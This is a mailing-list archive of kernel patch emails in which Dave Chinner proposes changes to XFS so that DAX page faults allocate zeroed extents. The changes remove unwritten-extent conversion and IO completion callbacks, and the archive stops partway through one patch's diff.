X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C57C7F4E for ; Thu, 1 Oct 2015 02:48:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E5E4F8F8049 for ; Thu, 1 Oct 2015 00:48:00 -0700 (PDT) X-ASG-Debug-ID: 1443685673-04bdf0462818f820004-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 1vkBHKvWtpzo5AVA for ; Thu, 01 Oct 2015 00:47:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Oct 2015 17:16:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZhYZh-0005hw-ST; Thu, 01 Oct 2015 17:46:45 +1000 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZhYZh-0001lz-RL; Thu, 01 Oct 2015 17:46:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: [PATCH 5/7] xfs: Don't use unwritten extents for DAX Date: Thu, 1 Oct 2015 17:46:37 +1000 X-ASG-Orig-Subj: [PATCH 5/7] xfs: Don't use unwritten extents for DAX Message-Id: <1443685599-4843-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1443685599-4843-1-git-send-email-david@fromorbit.com> References: <1443685599-4843-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443685678 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23071 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner DAX has a page fault serialisation problem with block allocation. Because it allows concurrent page faults and does not have a page lock to serialise faults to the same page, it can get two concurrent faults to the page that race. When two read faults race, this isn't a huge problem as the data underlying the page is not changing and so "detect and drop" works just fine. The issues are to do with write faults. When two write faults occur, we serialise block allocation in get_blocks() so only one faul will allocate the extent. It will, however, be marked as an unwritten extent, and that is where the problem lies - the DAX fault code cannot differentiate between a block that was just allocated and a block that was preallocated and needs zeroing. The result is that both write faults end up zeroing the block and attempting to convert it back to written. The problem is that the first fault can zero and convert before the second fault starts zeroing, resulting in the zeroing for the second fault overwriting the data that the first fault wrote with zeros. The second fault then attempts to convert the unwritten extent, which is then a no-op because it's already written. Data loss occurs as a result of this race. Because there is no sane locking construct in the page fault code that we can use for serialisation across the page faults, we need to ensure block allocation and zeroing occurs atomically in the filesystem. This means we can still take concurrent page faults and the only time they will serialise is in the filesystem mapping/allocation callback. The page fault code will always see written, initialised extents, so we will be able to remove the unwritten extent handling from the DAX code when all filesystems are converted. Signed-off-by: Dave Chinner --- fs/dax.c | 5 +++++ fs/xfs/xfs_aops.c | 13 +++++++++---- fs/xfs/xfs_iomap.c | 17 ++++++++++++++++- 3 files changed, 30 insertions(+), 5 deletions(-) diff --git a/fs/dax.c b/fs/dax.c index 3994a2b..b36d6d2 100644 --- a/fs/dax.c +++ b/fs/dax.c @@ -29,6 +29,11 @@ #include #include +/* + * dax_clear_blocks() is called from within transaction context from XFS, + * and hence this means the stack from this point must follow GFP_NOFS + * semantics for all operations. + */ int dax_clear_blocks(struct inode *inode, sector_t block, long size) { struct block_device *bdev = inode->i_sb->s_bdev; diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index e747d6a..df3dabd 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1284,15 +1284,12 @@ xfs_map_direct( trace_xfs_gbmap_direct(XFS_I(inode), offset, size, type, imap); - /* XXX: preparation for removing unwritten extents in DAX */ -#if 0 if (dax_fault) { ASSERT(type == XFS_IO_OVERWRITE); trace_xfs_gbmap_direct_none(XFS_I(inode), offset, size, type, imap); return; } -#endif if (bh_result->b_private) { ioend = bh_result->b_private; @@ -1420,10 +1417,12 @@ __xfs_get_blocks( if (error) goto out_unlock; + /* for DAX, we convert unwritten extents directly */ if (create && (!nimaps || (imap.br_startblock == HOLESTARTBLOCK || - imap.br_startblock == DELAYSTARTBLOCK))) { + imap.br_startblock == DELAYSTARTBLOCK) || + (IS_DAX(inode) && ISUNWRITTEN(&imap)))) { if (direct || xfs_get_extsz_hint(ip)) { /* * Drop the ilock in preparation for starting the block @@ -1468,6 +1467,12 @@ __xfs_get_blocks( goto out_unlock; } + if (IS_DAX(inode) && create) { + ASSERT(!ISUNWRITTEN(&imap)); + /* zeroing is not needed at a higher layer */ + new = 0; + } + /* trim mapping down to size requested */ if (direct || size > (1 << inode->i_blkbits)) xfs_map_trim_size(inode, iblock, bh_result, diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 1f86033..8b2b4a9 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -131,6 +131,7 @@ xfs_iomap_write_direct( uint qblocks, resblks, resrtextents; int committed; int error; + int bmapi_flags = XFS_BMAPI_PREALLOC; error = xfs_qm_dqattach(ip, 0); if (error) @@ -196,13 +197,26 @@ xfs_iomap_write_direct( xfs_trans_ijoin(tp, ip, 0); /* + * For DAX, we do not allocate unwritten extents, but instead we zero + * the block before we commit the transaction. Ideally we'd like to do + * this outside the transaction context, but if we commit and then crash + * we may not have zeroed the blocks and this will be exposed on + * recovery of the allocation. Hence we must zero before commit. + * Further, if we are mapping unwritten extents here, we need to zero + * and convert them to written so that we don't need an unwritten extent + * callback for DAX. + */ + if (IS_DAX(VFS_I(ip))) + bmapi_flags = XFS_BMAPI_CONVERT | XFS_BMAPI_ZERO; + + /* * From this point onwards we overwrite the imap pointer that the * caller gave to us. */ xfs_bmap_init(&free_list, &firstfsb); nimaps = 1; error = xfs_bmapi_write(tp, ip, offset_fsb, count_fsb, - XFS_BMAPI_PREALLOC, &firstfsb, 0, + bmapi_flags, &firstfsb, 0, imap, &nimaps, &free_list); if (error) goto out_bmap_cancel; @@ -213,6 +227,7 @@ xfs_iomap_write_direct( error = xfs_bmap_finish(&tp, &free_list, &committed); if (error) goto out_bmap_cancel; + error = xfs_trans_commit(tp); if (error) goto out_unlock; -- 2.5.0 From dave@fromorbit.com Thu Oct 1 02:48:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8752C7F3F for ; Thu, 1 Oct 2015 02:48:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E50AFAC006 for ; Thu, 1 Oct 2015 00:48:02 -0700 (PDT) X-ASG-Debug-ID: 1443685677-04cbb033b21ab2b0002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id y5hgyZ0nGjJ7KdzY for ; Thu, 01 Oct 2015 00:48:00 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Oct 2015 17:16:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZhYZh-0005hx-T7; Thu, 01 Oct 2015 17:46:45 +1000 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZhYZh-0001m4-S3; Thu, 01 Oct 2015 17:46:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: [PATCH 6/7] xfs: DAX does not use IO completion callbacks Date: Thu, 1 Oct 2015 17:46:38 +1000 X-ASG-Orig-Subj: [PATCH 6/7] xfs: DAX does not use IO completion callbacks Message-Id: <1443685599-4843-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1443685599-4843-1-git-send-email-david@fromorbit.com> References: <1443685599-4843-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443685679 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner For DAX, we are now doing block zeroing and we are updating the file size during allocation. This means we no longer need an IO completion callback to do these things, so remove the completion callbacks from the __dax_fault and __dax_mkwrite calls. Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 39 --------------------------------------- fs/xfs/xfs_aops.h | 1 - fs/xfs/xfs_file.c | 5 ++--- 3 files changed, 2 insertions(+), 43 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index df3dabd..69c2dbc 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1657,45 +1657,6 @@ xfs_end_io_direct_write( __xfs_end_io_direct_write(inode, ioend, offset, size); } -/* - * For DAX we need a mapping buffer callback for unwritten extent conversion - * when page faults allocate blocks and then zero them. Note that in this - * case the mapping indicated by the ioend may extend beyond EOF. We most - * definitely do not want to extend EOF here, so we trim back the ioend size to - * EOF. - */ -#ifdef CONFIG_FS_DAX -void -xfs_end_io_dax_write( - struct buffer_head *bh, - int uptodate) -{ - struct xfs_ioend *ioend = bh->b_private; - struct inode *inode = ioend->io_inode; - ssize_t size = ioend->io_size; - - ASSERT(IS_DAX(ioend->io_inode)); - - /* if there was an error zeroing, then don't convert it */ - if (!uptodate) - ioend->io_error = -EIO; - - /* - * Trim update to EOF, so we don't extend EOF during unwritten extent - * conversion of partial EOF blocks. - */ - spin_lock(&XFS_I(inode)->i_flags_lock); - if (ioend->io_offset + size > i_size_read(inode)) - size = i_size_read(inode) - ioend->io_offset; - spin_unlock(&XFS_I(inode)->i_flags_lock); - - __xfs_end_io_direct_write(inode, ioend, ioend->io_offset, size); - -} -#else -void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate) { } -#endif - static inline ssize_t xfs_vm_do_dio( struct inode *inode, diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h index d39ba25..f6ffc9a 100644 --- a/fs/xfs/xfs_aops.h +++ b/fs/xfs/xfs_aops.h @@ -60,7 +60,6 @@ int xfs_get_blocks_direct(struct inode *inode, sector_t offset, struct buffer_head *map_bh, int create); int xfs_get_blocks_dax_fault(struct inode *inode, sector_t offset, struct buffer_head *map_bh, int create); -void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate); extern void xfs_count_page_state(struct page *, int *, int *); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 27abe1c..9c8eef7 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1503,8 +1503,7 @@ xfs_filemap_page_mkwrite( xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); if (IS_DAX(inode)) { - ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, - xfs_end_io_dax_write); + ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, NULL); } else { ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); ret = block_page_mkwrite_return(ret); @@ -1566,7 +1565,7 @@ xfs_filemap_pmd_fault( file_update_time(vma->vm_file); xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_dax_fault, - xfs_end_io_dax_write); + NULL); xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); sb_end_pagefault(inode->i_sb); -- 2.5.0 From dave@fromorbit.com Thu Oct 1 02:48:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5E5047F37 for ; Thu, 1 Oct 2015 02:48:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CA364AC001 for ; Thu, 1 Oct 2015 00:48:02 -0700 (PDT) X-ASG-Debug-ID: 1443685675-04cbb033b11ab2a0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id f1wSchjEXE34Pct8 for ; Thu, 01 Oct 2015 00:47:56 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DcLgCY5AxWPEcOLHleGQGDDVRvgUynOwIZAwaBDZUyDIcnTQEBAQEBAQcBAQEBQT9BBYNmAiQgDxUOGHERAweIWg68II9ehiyEP4VKhHwFkjEVgzOKLoQ2iE6IcIhFgi0BCwE6HYFmLIJqhXmBSAEBAQ Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Oct 2015 17:16:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZhYZh-0005hr-Oq; Thu, 01 Oct 2015 17:46:45 +1000 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZhYZh-0001lb-NV; Thu, 01 Oct 2015 17:46:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: [PATCH 0/7] xfs, dax: fix the page fault/allocation mess Date: Thu, 1 Oct 2015 17:46:32 +1000 X-ASG-Orig-Subj: [PATCH 0/7] xfs, dax: fix the page fault/allocation mess Message-Id: <1443685599-4843-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443685676 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, As discussed in the recent thread about problems with DAX locking: http://www.gossamer-threads.com/lists/linux/kernel/2264090?do=post_view_threaded I said that I'd post the patch set that fixed the problems for XFS as soon as I had something sane and workable. That's what this series is. To start with, it passes xfstests "auto" group with only the only failures being expected failures or failures due to unexpected allocation patterns or trying to use unsupported block sizes. That makes it better than any previous version of the XFS/DAX code. The patchset starts by reverting the two patches that were introduced in 4.3-rc1 to try to fix the fault vs fault and fault vs truncate races that caused deadlocks. This fixes the hangs in generic/075 that these patches introduced. Patch 3 enables XFS to handle the behaviour of DAX and DIO when asking to allocate the block at (2^63 - 1FSB), where the offset + count s technically illegal (larger than sb->s_maxbytes) and overflows a s64 variable. This is currently hidden by the fact that all DAX and DIO allocation is currently unwritten, but patch 5 exposes it for DAX. Patch 4 introduces the ability for XFS to allocate physically zeroed data blocks. This is done for each physical extent that is allocated, deep inside the allocator itself and guaranteed to be atomic with the allocation transaction and hence has no crash+recovery exposure issues. This is necessary because the BMAPI layer merges allocated extents in the BMBT before it returns the mapped extent back to the high level get_blocks() code. Hence the high level code can have a single extent presented that is made of merged new and existing extents, and so zeroing can't be done at this layer. The advantage of driving the zeroing deep into the allocator is the functionality is now available to all XFS code. Hence we can allocate pre-zeroed blocks on any type of storage, and we can utilise storage-based hardware acceleration (e.g. discard to zero, WRITE_SAME, etc) to do the zeroing. From this POV, DAX is just another hardware accelerated physical zeroing mechanism for XFS. :) [ This is an example of the mantra I repeat a lot: solve the problem properly the first time and it will make everything simpler! Sure, it took me three attempts to work out how to solve it in a sane manner, but that's pretty much par for the course with anything non-trivial. ] Patch 5 makes __xfs_get_blocks() aware that it is being called from the DAX fault path and makes sure it returns zeroed blocks rather than unwritten extents via XFS_BMAPI_ZERO. It also now sets XFS_BMAPI_CONVERT, which tells it to convert unwritten extents to written, zeroed blocks. This is the major change of behaviour. Patch 6 removes the IO completion callbacks from the XFS DAX code as they are not longer necessary after patch 5. Patch 7 adds pfn_mkwrite support to XFS. This is needed to fix generic/080, which detects a failure to update the inode timestamp on a pfn fault. It also adds the same locking as the XFS implementation of ->fault and ->page_mkwrite and hence provide correct serialisation against truncate, hole punching, etc that doesn't currently exist. The next steps that are needed are to do the same "block zeroing during allocation" to ext4, and then the block zeroing and complete_unwritten callbacks can be removed from the DAX API and code. I've had a breif look at the ext4 code - the block zeroing should be able to be done by overloading the existing zeroout code that ext4 has in the unwritten extent allocation code. I'd much prefer that an ext4 expert does this work, and then we can clean up the DAX code... Cheers, Dave. From dave@fromorbit.com Thu Oct 1 02:48:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DB9527F73 for ; Thu, 1 Oct 2015 02:48:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6F04304062 for ; Thu, 1 Oct 2015 00:48:09 -0700 (PDT) X-ASG-Debug-ID: 1443685677-04cbb033b21ab2b0003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id vTcX9faMvKL7WJtF for ; Thu, 01 Oct 2015 00:48:07 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2D/CACY5AxWPEcOLHleGQGDDYFChlqiSQMGkB+MI4EwTQEBAQEBAQcBAQEBQT+EJQEFJy8jEAgYMTkDBxQZiC3MDIYsikeEPgWHM4cAh0acHIxLgi0BRh2BZiwziXgBAQE Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Oct 2015 17:16:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZhYZh-0005hv-Rh; Thu, 01 Oct 2015 17:46:45 +1000 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZhYZh-0001lu-QQ; Thu, 01 Oct 2015 17:46:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: [PATCH 4/7] xfs: introduce BMAPI_ZERO for allocating zeroed extents Date: Thu, 1 Oct 2015 17:46:36 +1000 X-ASG-Orig-Subj: [PATCH 4/7] xfs: introduce BMAPI_ZERO for allocating zeroed extents Message-Id: <1443685599-4843-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1443685599-4843-1-git-send-email-david@fromorbit.com> References: <1443685599-4843-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443685681 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner To enable DAX to do atomic allocation of zeroed extents, we need to drive the block zeroing deep into the allocator. Because xfs_bmapi_write() can return merged extents on allocation that were only partially allocated (i.e. requested range spans allocated and hole regions, allocation into the hole was contiguous), we cannot zero the extent returned from xfs_bmapi_write() as that can overwrite existing data with zeros. Hence we have to drive the extent zeroing into the allocation code, prior to where we merge the extents into the BMBT and return the resultant map. This means we need to propagate this need down to the xfs_alloc_vextent() and issue the block zeroing at this point. While this functionality is being introduced for DAX, there is no reason why it is specific to DAX - we can per-zero blocks during the allocation transaction on any type of device. It's just slow (and usually slower than unwritten allocation and conversion) on traditional block devices so doesn't tend to get used. We can, however, hook hardware zeroing optimisations via sb_issue_zeroout() to this operation, so it may be useful in future and hence the "allocate zeroed blocks" API needs to be implementation neutral. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_alloc.c | 10 +++++++++- fs/xfs/libxfs/xfs_alloc.h | 8 +++++--- fs/xfs/libxfs/xfs_bmap.c | 25 +++++++++++++++++++++++-- fs/xfs/libxfs/xfs_bmap.h | 13 +++++++++++-- fs/xfs/xfs_bmap_util.c | 36 ++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_mount.h | 3 +++ 6 files changed, 87 insertions(+), 8 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index ffad7f2..4cffc17 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -2503,7 +2503,7 @@ xfs_alloc_vextent( * Try near allocation first, then anywhere-in-ag after * the first a.g. fails. */ - if ((args->userdata == XFS_ALLOC_INITIAL_USER_DATA) && + if ((args->userdata & XFS_ALLOC_INITIAL_USER_DATA) && (mp->m_flags & XFS_MOUNT_32BITINODES)) { args->fsbno = XFS_AGB_TO_FSB(mp, ((mp->m_agfrotor / rotorstep) % @@ -2634,6 +2634,14 @@ xfs_alloc_vextent( XFS_AG_CHECK_DADDR(mp, XFS_FSB_TO_DADDR(mp, args->fsbno), args->len); #endif + + /* Zero the extent if we were asked to do so */ + if (args->userdata & XFS_ALLOC_USERDATA_ZERO) { + error = xfs_zero_extent(args->ip, args->fsbno, args->len); + if (error) + goto error0; + } + } xfs_perag_put(args->pag); return 0; diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h index ca1c816..0ecde4d 100644 --- a/fs/xfs/libxfs/xfs_alloc.h +++ b/fs/xfs/libxfs/xfs_alloc.h @@ -101,6 +101,7 @@ typedef struct xfs_alloc_arg { struct xfs_mount *mp; /* file system mount point */ struct xfs_buf *agbp; /* buffer for a.g. freelist header */ struct xfs_perag *pag; /* per-ag struct for this agno */ + struct xfs_inode *ip; /* for userdata zeroing method */ xfs_fsblock_t fsbno; /* file system block number */ xfs_agnumber_t agno; /* allocation group number */ xfs_agblock_t agbno; /* allocation group-relative block # */ @@ -120,15 +121,16 @@ typedef struct xfs_alloc_arg { char wasdel; /* set if allocation was prev delayed */ char wasfromfl; /* set if allocation is from freelist */ char isfl; /* set if is freelist blocks - !acctg */ - char userdata; /* set if this is user data */ + char userdata; /* mask defining userdata treatment */ xfs_fsblock_t firstblock; /* io first block allocated */ } xfs_alloc_arg_t; /* * Defines for userdata */ -#define XFS_ALLOC_USERDATA 1 /* allocation is for user data*/ -#define XFS_ALLOC_INITIAL_USER_DATA 2 /* special case start of file */ +#define XFS_ALLOC_USERDATA (1 << 0)/* allocation is for user data*/ +#define XFS_ALLOC_INITIAL_USER_DATA (1 << 1)/* special case start of file */ +#define XFS_ALLOC_USERDATA_ZERO (1 << 2)/* zero extent on allocation */ xfs_extlen_t xfs_alloc_longest_free_extent(struct xfs_mount *mp, struct xfs_perag *pag, xfs_extlen_t need); diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index 8e2010d..8f607ed 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -3800,8 +3800,13 @@ xfs_bmap_btalloc( args.wasdel = ap->wasdel; args.isfl = 0; args.userdata = ap->userdata; - if ((error = xfs_alloc_vextent(&args))) + if (ap->userdata & XFS_ALLOC_USERDATA_ZERO) + args.ip = ap->ip; + + error = xfs_alloc_vextent(&args); + if (error) return error; + if (tryagain && args.fsbno == NULLFSBLOCK) { /* * Exact allocation failed. Now try with alignment @@ -4300,11 +4305,14 @@ xfs_bmapi_allocate( /* * Indicate if this is the first user data in the file, or just any - * user data. + * user data. And if it is userdata, indicate whether it needs to + * be initialised to zero during allocation. */ if (!(bma->flags & XFS_BMAPI_METADATA)) { bma->userdata = (bma->offset == 0) ? XFS_ALLOC_INITIAL_USER_DATA : XFS_ALLOC_USERDATA; + if (bma->flags & XFS_BMAPI_ZERO) + bma->userdata |= XFS_ALLOC_USERDATA_ZERO; } bma->minlen = (bma->flags & XFS_BMAPI_CONTIG) ? bma->length : 1; @@ -4419,6 +4427,17 @@ xfs_bmapi_convert_unwritten( mval->br_state = (mval->br_state == XFS_EXT_UNWRITTEN) ? XFS_EXT_NORM : XFS_EXT_UNWRITTEN; + /* + * Before insertion into the bmbt, zero the range being converted + * if required. + */ + if (flags & XFS_BMAPI_ZERO) { + error = xfs_zero_extent(bma->ip, mval->br_startblock, + mval->br_blockcount); + if (error) + return error; + } + error = xfs_bmap_add_extent_unwritten_real(bma->tp, bma->ip, &bma->idx, &bma->cur, mval, bma->firstblock, bma->flist, &tmp_logflags); @@ -4511,6 +4530,8 @@ xfs_bmapi_write( ASSERT(len > 0); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + ASSERT((flags & (XFS_BMAPI_METADATA | XFS_BMAPI_ZERO)) != + (XFS_BMAPI_METADATA | XFS_BMAPI_ZERO)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && diff --git a/fs/xfs/libxfs/xfs_bmap.h b/fs/xfs/libxfs/xfs_bmap.h index 6aaa0c1..a160f8a 100644 --- a/fs/xfs/libxfs/xfs_bmap.h +++ b/fs/xfs/libxfs/xfs_bmap.h @@ -52,9 +52,9 @@ struct xfs_bmalloca { xfs_extlen_t minleft; /* amount must be left after alloc */ bool eof; /* set if allocating past last extent */ bool wasdel; /* replacing a delayed allocation */ - bool userdata;/* set if is user data */ bool aeof; /* allocated space at eof */ bool conv; /* overwriting unwritten extents */ + char userdata;/* userdata mask */ int flags; }; @@ -109,6 +109,14 @@ typedef struct xfs_bmap_free */ #define XFS_BMAPI_CONVERT 0x040 +/* + * allocate zeroed extents - this requires all newly allocated user data extents + * to be initialised to zero. It will be ignored if XFS_BMAPI_METADATA is set. + * Use in conjunction with XFS_BMAPI_CONVERT to convert unwritten extents found + * during the allocation range to zeroed written extents. + */ +#define XFS_BMAPI_ZERO 0x080 + #define XFS_BMAPI_FLAGS \ { XFS_BMAPI_ENTIRE, "ENTIRE" }, \ { XFS_BMAPI_METADATA, 